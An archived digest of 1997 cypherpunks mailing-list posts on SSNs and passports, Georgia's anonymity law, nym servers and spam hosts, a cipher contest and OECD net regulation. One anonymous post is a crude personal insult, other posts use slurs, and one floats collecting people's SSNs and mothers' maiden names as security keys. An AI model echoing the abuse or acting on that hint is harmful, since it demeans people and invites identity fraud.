From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 28 May 1997 07:57:52 +0800
To: cypherpunks@algebra.com
Subject: [noise] AGIS says "no more spam"? (fwd)
Message-ID: <Pine.BSF.3.91.970527182318.9425C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



[snipped]

[full text at http://www.agis.net/press26.htm]

AGIS, IEMMC Halt Bulk E-Mail 

Dearborn, MI May 27th, 1997: Worldwide Internet access provider AGIS (Apex
Global Internet Services, Inc.) has challenged all members of the Internet
E-Mail Marketing Council (IEMMC) to stop originating all bulk e-mail
through the AGIS network. Under the terms of this agreement, Cyber
Promotions, Cybertize E-mail, Integrated Media Promotions, ISG, and
Quantum Communications agreed to cease sending unsolicited commercial
e-mail (UCE) through the AGIS network until the IEMMC delivers a working
filtration system and acceptable use policies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 28 May 1997 08:54:00 +0800
To: "Mark M." <cypherpunks@cyberpass.net
Subject: Re: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: <3.0.2.32.19970527203331.037f4124@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:02 PM 5/27/97 -0400, Mark M. wrote:

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS.  

The Feds would like to keep track of and find expatriate Americans who don't 
file tax returns (some 60% of the total).  Unlike almost all other countries, 
the U.S. taxes all of its citizens even those who have never set foot in 
America.

>The penalty for failing to
>notify is $500.  I recently encountered this situation and just left
>the SSN blank.  After explaining to the lady behind the counter that
>I was not required to give my SSN to the State Department, she eventually
>accepted the application without the SSN.  I sent a letter to the IRS
>(address where tax returns are supposed to be sent) explainging the
>situation and included my SSN in the letter.  I applied for the passport
>two months ago and have not been hassled by the IRS.  A sample letter
>is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
>about this in the SSN FAQ.

Here's the US Code Section from 
http://www.law.cornell.edu/uscode/26/6039E.html   

     UNITED STATES CODE 
          TITLE 26 - INTERNAL REVENUE CODE 
               Subtitle F - Procedure and Administration 
                    CHAPTER 61 - INFORMATION AND RETURNS 
                         Subchapter A - Returns and Records 
                              PART III - INFORMATION RETURNS 
                                   Subpart A - Information Concerning Persons 
Subject to Special Provisions 



§ 6039E. Information concerning resident status

     (a) General rule 

     Notwithstanding any other provision of law, any individual who - 
          (1) applies for a United States passport (or a renewal thereof), or 
          (2) applies to be lawfully accorded the privilege of residing 
permanently in the United States as an immigrant in
          accordance with the immigration laws, shall include with any such 
                                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^
application a statement which includes the
^^^^^^^^^^^
          information described in subsection (b). 
     (b) Information to be provided 

     Information required under subsection (a) shall include - 
          (1) the taxpayer's TIN (if any), 
          (2) in the case of a passport applicant, any foreign country in 
which such individual is residing, 
          (3) in the case of an individual seeking permanent residence, 
information with respect to whether such individual
          is required to file a return of the tax imposed by chapter 1 for 
such individual's most recent 3 taxable years, and 
          (4) such other information as the Secretary may prescribe. 
     (c) Penalty 

     Any individual failing to provide a statement required under subsection 
(a) shall be subject to a penalty equal to $500
     for each such failure, unless it is shown that such failure is due to 
reasonable cause and not to willful neglect. 
     (d) Information to be provided to Secretary 

     Notwithstanding any other provision of law, any agency of the United 
States which collects (or is required to collect) the
     statement under subsection (a) shall - 
          (1) provide any such statement to the Secretary, and 
          (2) provide to the Secretary the name (and any other identifying 
information) of any individual refusing to comply
          with the provisions of subsection (a). Nothing in the preceding 
sentence shall be construed to require the
          disclosure of information which is subject to section 245A of the 
Immigration and Nationality Act (as in effect on
          the date of the enactment of this sentence). 
     (e) Exemption 

     The Secretary may by regulations exempt any class of individuals from the 
requirements of this section if he determines
     that applying this section to such individuals is not necessary to carry 
out the purposes of this section. 

***************

It seems to say that the TIN (Taxpayer ID Number) has to accompany the 
application.  In theory, State can't deny a passport based on refusal to 
supply the number but your mileage may vary.  As far as we can determine, no 
one has ever been fined $500 by IRS.  Looks like fodder for the sheeple to me.

I'm reapplying this summer and will not rat on myself.  We'll see how it goes.

In the half dozen refusals to supply number that I am personally familiar 
with, the passport has never been refused.

The report of a foreign address is a real laugh riot since US sheeple are not 
subject to address registration and can claim any address they like (although 
in that case, I guess they're not sheeple).

DCF

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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LxmYK8OJ33ukK3dL569zFAZtD/adxn06XDTPVqkEU9Z51cDEfwTFX8qJaOY6zzNw
0gWXXvr7FHefuqrfRBDQT00uBD/WQgKHam9uxKVBW3lZ1QV+um3rvs3Iafg42yZ1
Wo+PyUP7I5g=
=9hEF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 13:02:07 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: The lights went out in Georgia
In-Reply-To: <v03102801afb0f4da8b9f@[207.167.93.63]>
Message-ID: <v03102802afb15f7c9920@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:15 PM -0400 5/27/97, Robert A. Costner wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 01:36 PM 5/27/97 -0700, Tim May wrote:
>>But as Robert knows more directly than I, Georgia also has the "anonymity
>>is a crime" laws on the books
>...
>>So, what will happen if people, entities, remailers, pseudonyms, etc..
>>submit keys to this EFF-Georgia repository without providing SS number,
>>passport, mother's maiden name, etc.?
>
>If Tim read the article he quoted from, he will notice that EFGA has sued the
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

I read the whole thing, and several other articles. I even indicated I knew
you knew a lot about this case when I specifically said "But as Robert
knows more directly than I.."

Fucking A, what more do you want?

My point had nothing to do with whether you or EF-GA was involved in a suit
to overturn the law. If the law is still in force, whether EF-GA is
currently suing has nothing to do with my point about enforcement of the
law, and penalties for violation.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 13:03:53 +0800
To: cypherpunks@algebra.com
Subject: Re: The lights went out in Georgia
In-Reply-To: <v03102801afb0f4da8b9f@[207.167.93.63]>
Message-ID: <v03102803afb162163592@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:05 PM -0700 5/27/97, Bill Stewart wrote:

>It's not really a big problem - the law doesn't forbid the EFF to accept
>anonymously submitted communications, it only forbids Subjects of the
>State of Georgia to send them.
>
>>(Will Georgia seek the BlackNet operator's extradition for not complying
>>with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
>>plan to enforce the Georgia law?)
>
>If you don't provide enough address information along with your key
>for the Cracker Police to find your True Name and hunt you down,
>that's just a shame, now isn't it...  especially if the EFGA doesn't
>file a complaint about it.  Besides, how can they extradite someone they
>can't find - send polite diplomatic notes to all the governments
>in the world asking them to find some unknown character for them?
>"Please extradite the usual suspects!"

I see this point of view expressed here often, the "they can't catch you so
don't worry about the law," and "they won't be able to get California to
extradite you."

First, I don't happen to think this particular law, even if not overturned,
is likely to see much enforcement, even in Georgia.

However, the large point remains. And I'm less persuaded than Bill is that
such laws are ipso facto ignorable.

I'd hate to be changing planes at Hartsfield (the big hub airport in
Atlanta) and have their computers flag me as having violated their law at
some time in the past. (Why would they bother? Who knows. Maybe a
shakedown, like a speeding ticket. Maybe orders from elsewhere. The point
is that they don't have to _extradite_ nonresidents to have them feel the
force of the law.)

Oh, and any company doing business in Georgia would be a point where legal
pressure s could be applied. Any large company would have to take this law
into account, and could not just cheerfully cite Bill's casual dismissal.

(Again, I don't think this law has much power, and the sponsors have
probably already forgotten it.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 13:08:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: <v03102804afb164efe0ee@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:02 PM -0400 5/27/97, Mark M. wrote:

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS.  The penalty for failing to
>notify is $500.  I recently encountered this situation and just left
>the SSN blank.  After explaining to the lady behind the counter that
>I was not required to give my SSN to the State Department, she eventually
>accepted the application without the SSN.  I sent a letter to the IRS
>(address where tax returns are supposed to be sent) explainging the
>situation and included my SSN in the letter.  I applied for the passport
>two months ago and have not been hassled by the IRS.  A sample letter
>is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
>about this in the SSN FAQ.

Good for you, seriously, but you may not yet have heard the last of this.
As with "frivolous returns" (such as writing comments on the tax forms
submitted, arguing that taxes are not valid, etc.), it is not so much a
matter of the IRS "hassling" you, as a computer-generated letter arriving
stating that you now owe X amount in additional taxes, an amount which
slowly grows with each passing month of doing nothing about it.

I tried to not give my SS number to the California Department of Motor
Vehicles, citing the line on my SS card which says quite clearly:

"FOR SOCIAL SECURITY AND TAX PURPOSES -- NOT FOR IDENTIFICATION"

(This is an exact quote, read from my 1968-9-issued card, which I still have.)

Just which part of this do the folks in various government agencies not
understand?

The woman behind the desk didn't seem interested in my point and just said
that without a valid SS number, no registration tags would be issued. It
was then my choice to drive without tags (and get a ticket anytime a cop
noticed this and decided to act on it) or seek some kind of legal
restraining order (???, but probably $$$).

But this has given me some ideas, which I'll share with you.

With all the various companies and agencies demanding the SS number, why
not demand SS number, mother's maiden name, date of birth, etc., for *all
kinds* of casual things?

If the agencies and companies are so cavalier about ignoring the clear
stipulation that the SS card/number is *not* a general identification
scheme, then it is very doubtful that asking people to supply all this sort
of information is not violating any law.

(If there's a law I could be charged with violating, I'd cite selective
enforcement, noting that my local Mervyns store wanted my SS number a
couple of days ago, the DMV wants SS numbers and other personal info, etc.)

And since several of these numbers are essentially the keys to many
security systems....

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 28 May 1997 11:24:58 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Unexpected SSZ downtime...
Message-ID: <199705280306.WAA00383@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

As some of you are aware, we are having a hell of a day concerning weather.
Not only are 300+ homes north of Austin simply not there any more thanks to
a monster twister (it even tore some of the slabs out of the ground) but we
have had a very wide power outage. At the current time SSZ and associated
systems are back up and working. We are expecting another heavy wave of
weather later tonite. If the current forcast is still set at midnite SSZ may
go down from midnite CST to around 7AM CST tomorrow.

Take care and some cover (if you can find it).


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 13:07:44 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Unexpected SSZ downtime...
In-Reply-To: <199705280306.WAA00383@einstein.ssz.com>
Message-ID: <199705280325.WAA28088@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Yeah, the weather is rather shitty in the Southwest right now...


igor

Jim Choate wrote:
> 
> Hi,
> 
> As some of you are aware, we are having a hell of a day concerning weather.
> Not only are 300+ homes north of Austin simply not there any more thanks to
> a monster twister (it even tore some of the slabs out of the ground) but we
> have had a very wide power outage. At the current time SSZ and associated
> systems are back up and working. We are expecting another heavy wave of
> weather later tonite. If the current forcast is still set at midnite SSZ may
> go down from midnite CST to around 7AM CST tomorrow.
> 
> Take care and some cover (if you can find it).
> 
> 
>                                                      Jim Choate
>                                                      CyberTects
>                                                      ravage@ssz.com
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 12:32:28 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: <199705280328.WAA28113@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> Re: Nym Servers
> To: Cypherpunks
> 
> Igor and D.V. have been discussing the viability of
> cyberpromo as a host site for remailers; Igor points out
> that many recipients will auto-trash anything from there.
> On the other hand, it's a good entry point for a middleman remailer
> or a nym remailer, as long as you can trash anything from there
> without also trashing your remailer's mail :-)

Yes, a middleman remailer can be placed at cyberpromo, as long as other
remailers accept cyberpromo email.

> In particular, your remailer was going to remove direct references
> to cyberpromo anyway.

Well, if mail comes from (MAIL FROM: command of SMTP) one of the 300
Cyberpromo domains, it has _some_ chances of being trashed because of
the local bans on these domains.

My internet provider Galstar, for example, trashes all mail coming
from Cyberpromo, savetrees and so on.

> However, the prices have changed since I brought up the idea
> a month ago.  At the time, they had auto-responders with POP mail -
> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
> Now, however, they offer autoresponders for 3/$99 for three years,
> with no mention of POP mail or forwarding - I don't know if they've
> dropped the service (in favor of web hosting at $25/month),
> or if it's still there and just not advertised.  (Of course,
> there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)
> 
>                Spambert
> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQBFAwUBM4uEWYuqXu2FMJm1AQGMWAF9FCraS1yFl5EOFPW/ISNCH+Sqc1qnUwCi
> +du2tY+MiRiAz64yHX95HNZ5iz/DZLij
> =c6PD
> -----END PGP SIGNATURE-----
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 13:58:08 +0800
To: cypherpunks@toad.com
Subject: PRNG
Message-ID: <199705280536.WAA28197@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] Mayonnaise carries a turd in his wallet for identification 
purposes.

      /_/\/\
      \_\  / Tim C[unt] Mayonnaise
      /_/  \
      \_\/\ \
         \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 12:54:54 +0800
To: DataETRsch@aol.com
Subject: Re: CRACKIT.DAT increased to 50,000 bytes.
In-Reply-To: <970527175002_2019806503@emout15.mail.aol.com>
Message-ID: <199705280337.WAA28169@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jeremy,

I must commend you for your helpfulness and cooperation. Not being a
professional cryptographer, I believe that your algorithms are not
very strong, but I will be happy if you and others prove me wrong. 

Actions such as yours inspire trust in the cryptographic software
that you write, if it passes the review.

Thank you.

	- Igor.

DataETRsch@aol.com wrote:
> 
> In a message dated 97-05-26 19:38:43 EDT, you write:
> 
> << The test file is only 836 bytes long.  Could you please post a file
>  consisting of, say, 50.000 space characters encrypted with the same
>  key? >>
> 
> 50,000 with the same key? Sure. A new file will be posted under the same name
> as the previously posted one. The same key will be used to encrypt the file
> before posting. Contest details will be reposted. By the way, a simple
> VSA2048 decryption program will be released soon so that there will not exist
> a need to develop one to decrypt the file. Also, the contest expiration date
> has been extended to July 1st, 1997. Good luck!
> 
> Again, random XOR is *not* the only method used to encrypt data. In fact,
> random XOR could be left out. Consider examining VSACMInternal (in
> INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
> information.
> 
> Regards,
> 
> Jeremy Yu-Ramos
> DataET Research
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 28 May 1997 14:23:27 +0800
To: cypherpunks@algebra.com
Subject: Re: List problems or is it quiet???
Message-ID: <3.0.32.19970527231930.00714874@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:52 PM 5/27/97 +0000, root wrote:

>I`m just sending this to check that this really is not a list problem, as 
>of course 10 posts a day is an uncommonly low traffic level for the list.
.................................................................


This could be the result of a phase-shift brought on by tachyon emissions
generated during the 3-day holiday weekend, creating a distortion in the
space-time continuum.  It likely requires an inspection of the casing for
the dilithium crystals, with potentially a re-engineering of the temporal
warp drive to adjust for wavelet radiations.


   
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 28 May 1997 13:21:51 +0800
To: tcmay@got.net (Tim May)
Subject: Re: SSN and passport
In-Reply-To: <v03102804afb164efe0ee@[207.167.93.63]>
Message-ID: <199705280506.AAA28868@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tim May wrote:
> 
> If the agencies and companies are so cavalier about ignoring the clear
> stipulation that the SS card/number is *not* a general identification
> scheme, then it is very doubtful that asking people to supply all this sort
> of information is not violating any law.
> 

Tim,


You may have a point regarding the government (state and federal) use
of social security numbers. As for private entities, their use of SSNs
is not regulated. They can ask you for one and you can refuse to give one
out, and they can refuse to do business with you. 

They could, as well, ask for your mother's birthday or your penis size,
or whatever. The things that they may not ask (in my understanding)
are race and possibly some other protected things.

I routinely refuse to give my SSN in stores when I write checks, and in
some other situations.  Typically, it causes a surprised look by a clerk
and not much more, but from time to time I have to talk to their
managers.

This issue is discussed in (I think) alt.privacy FAQ.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 28 May 1997 10:44:25 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
Message-ID: <199705280120.DAA24921@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Re: Nym Servers
To: Cypherpunks

Igor and D.V. have been discussing the viability of
cyberpromo as a host site for remailers; Igor points out
that many recipients will auto-trash anything from there.
On the other hand, it's a good entry point for a middleman remailer
or a nym remailer, as long as you can trash anything from there
without also trashing your remailer's mail :-)
In particular, your remailer was going to remove direct references
to cyberpromo anyway.

However, the prices have changed since I brought up the idea
a month ago.  At the time, they had auto-responders with POP mail -
- - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
Now, however, they offer autoresponders for 3/$99 for three years,
with no mention of POP mail or forwarding - I don't know if they've
dropped the service (in favor of web hosting at $25/month),
or if it's still there and just not advertised.  (Of course,
there's still the moral dilemma that even $99 is $99 in Spamford's pocket :-)

               Spambert
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBFAwUBM4uEWYuqXu2FMJm1AQGMWAF9FCraS1yFl5EOFPW/ISNCH+Sqc1qnUwCi
+du2tY+MiRiAz64yHX95HNZ5iz/DZLij
=c6PD
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Wed, 28 May 1997 21:36:23 +0800
To: cypherpunks@toad.com
Subject: Wasting Away
Message-ID: <199705280536.FAA13143@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


An anonymous signature:

"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing."

TruthMonger #26 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Wed, 28 May 1997 21:03:25 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Nym Servers
In-Reply-To: <Z4yB8D17w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970528075605.006a0674@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
>
>Dr.Dimitri Vulis KOTM wrote:
>
>> ichudov@algebra.com (Igor Chudov @ home) writes:
>
>>> As far as I understand, nym servers die because their maintainers get
>>> tired of the huge amount of mass mailings, mailbombings and complaints
>>> that these servers generate. Often enough they simply do not have the
>>> bandwidth or CPU resources to maintain them.
>> 
>> Stanford Wallace is doing an excellent job hosting "unpopular"
>> Internet features which the politically correct scum (like the
>> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
>> 
>> It's pricey, but it sounds like a nearly ideal site for remailers,
>> nym sevrers, and the like.
>
>I do not think that cyberpromo is a good site for remailers, because
>a lot of sites ignore everything that comes out of cyberpromo and 
>affiliated domains. A user who decides to use a cyberpromo-hosted
>remailer will not be sure whether his messages will be delivered to
>recipients or not.
>
>It may be slightly better to use cyberpromo for a nym server, though.
>
>How much does it cost to have a domain with Cyberpromo?

  How much for a simple account for usenet?  I'd like to get
one--just respond to the cabal from it--they'll read it.  Decent
ISP don't accept cancels--once we get news.admin.* people being
quoted, trashed and praised in these threads they'll get through.

                      Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 23:54:05 +0800
To: cypherpunks@algebra.com
Subject: OECD attacks one of the Four Horsemen
Message-ID: <v03102800afb2008b8854@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



News reports this morning that the OECD is moving out of strictly economic
matters and is focussing on "child porn," calling a special meeting in July
to discuss the laws of various countries and how they can be regularized to
control the availability of porn and child porn on the Net.

(The OECD is the Organization of Economic Cooperation and Development, or
some permutation like that, and is a kind of "economic NATO," but with
various non-European players. It was the OECD that David Aaron was special
ambassador to, before assuming his current duties as Crypto Tsar.)

So, one of the Horsemen is being invoked to control the Net.

(And the story on CNN right after this one was about cryptography, with
"drug smugglers and terrorists" prominently mentioned. The spin was that
citizen-units need cryptography on the Net so that they'll feel more secure
about Net commerce and thus buy more stuff, but that the security cannot be
good enough to make the drug smugglers and terrorists--not to mention the
pornographers!--safe from being caught.)

The war is moving into its next phase.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 29 May 1997 02:07:31 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Judge bans Internet gambling company from operating in Missouri
In-Reply-To: <199705271720.MAA32492@mailhub.amaranth.com>
Message-ID: <v03007833afb21a1cae9f@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:04 PM -0700 5/27/97, Tim May wrote:
>(And the lotteries have incredibly bad payoff odds...something like 30-40%,
>if I remember correctly. A slot machine with these odds would be shut down
>instantaneously as being a theft device! The state lotteries are often
>called "taxes on stupidity," and none of the well-off folks I know ever
>play this sucker's game. So, I should be rejoicing that Ma and Pa Kettle
>are squandering their paychecks on State-run gambling...but the principle
>is the thing I object to.)

I object to the state, providing addictive substances/experiences when
private enterprise could do the job.  If they are against addiction, then
they should set a good example.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 01:56:13 +0800
To: cypherpunks@toad.com
Subject: Re: OECD attacks one of the Four Horsemen
Message-ID: <199705281724.KAA15380@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
> 
> News reports this morning that the OECD is moving out of strictly economic
> matters and is focussing on "child porn," calling a special meeting in July
> to discuss the laws of various countries and how they can be regularized to
> control the availability of porn and child porn on the Net.
> 
> (The OECD is the Organization of Economic Cooperation and Development

> The war is moving into its next phase.

There will be a "War on Porn" on the internet that will mirror the
"War on Drugs" currently taking place. 
All that the government wants is their piece of the action. Like
drugs, the porn will always be available, but the price will 
fluctuate according to the level of government control and/or
illegality.
The "War on Porn" will turn into another essential national industry
which will become part of the GNP.

The "winners" in this war will be the journalists who have covered
the "War on Drugs" as they will merely have to dust off old stories
and substitute "Porn" for "Drugs" wherever it occurs.
The "loser" will be the Hoover Vacume Cleaner Company, whose development
of Virtual Cathouse technology will fall victim to new legislation.

TruthMonger

> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 29 May 1997 02:33:47 +0800
To: Ray Arachelian <cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705280120.DAA24921@basement.replay.com>
Message-ID: <v03007837afb21d5c7233@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:45 AM -0700 5/28/97, Ray Arachelian wrote:
>On Wed, 28 May 1997, Anonymous wrote:
>
>> However, the prices have changed since I brought up the idea
>> a month ago.  At the time, they had auto-responders with POP mail -
>> - - $50/2yrs POP+autoresponder, or $39 one-time for a mail forwarder.
>> Now, however, they offer autoresponders for 3/$99 for three years,
>> with no mention of POP mail or forwarding - I don't know if they've
>> dropped the service (in favor of web hosting at $25/month),
>> or if it's still there and just not advertised.  (Of course,
>> there's still the moral dilemma that even $99 is $99 in Spamford's
>>pocket :-)
>
>Not to mention the fact that this bitch will grab any email addresses
>(including your own) that pass through those accounts and use them for his
>own spamming purposes.  Don't do it, it's not worth it, not just for the
>money going to a shit eating weasel, but for the principle of the thing -
>you'd cause the spamming of everyone using it or communicating with it.
>
>If you get a web site with them, they'd grab all the email addresses from
>the surfers' browsers.  Hell, you might as well get an account on
>nsa.gov while you're at it.

At least nsa.gov won't spam the addresses they've grabbed.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 29 May 1997 02:18:03 +0800
To: cypherpunks@toad.com
Subject: FWD: Statement on nym.alias.net
Message-ID: <199705281741.KAA15961@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 28 May 1997 13:16:27 -0400 (EDT)
From: "Fred B. Ringel" <fredr@joshua.rivertown.net>
Subject: Statement on nym.alias.net

Hi all-

	An important message from the administrator of one of the best run
remailers (IMHO), nym.alias.net, follows. This is especially important to
those using nym.alias.net in their reply blocks or as their sole nym
remailer.

	Fred
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Fred B. Ringel		      --      Rivertown.Net Internet Access
Systems Administrator	      --      Voice/Fax/Support: +1.914.478.2885
PGP- Public Key		      --      email: fredr-pgpkey@joshua.rivertown.net
	Although in theory, there's no difference between 
	theory and practice, in practice, there is.


---------- Forwarded message ----------
Date: 28 May 1997 14:14:08 -0000
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: Statement on nym.alias.net.
Newsgroups: alt.privacy.anon-server

The alias.net domain has been put "on hold" by the internic.  The
result of this, among other things, is that host nym.alias.net no
longer exists.

Since the alias.net domain itself it not administered by the same
people as nym.alias.net, I don't yet know why this is.  Given that
today is exactly 3 months after the creation anniversary of alias.net,
and the fact that the internic does an extremely poor job of billing
people and processing their payments, I suspect this has resulted from
some sort of billing confusion rather than any kind of anti-remailer
activity.  However, I've not heard back from the alias.net
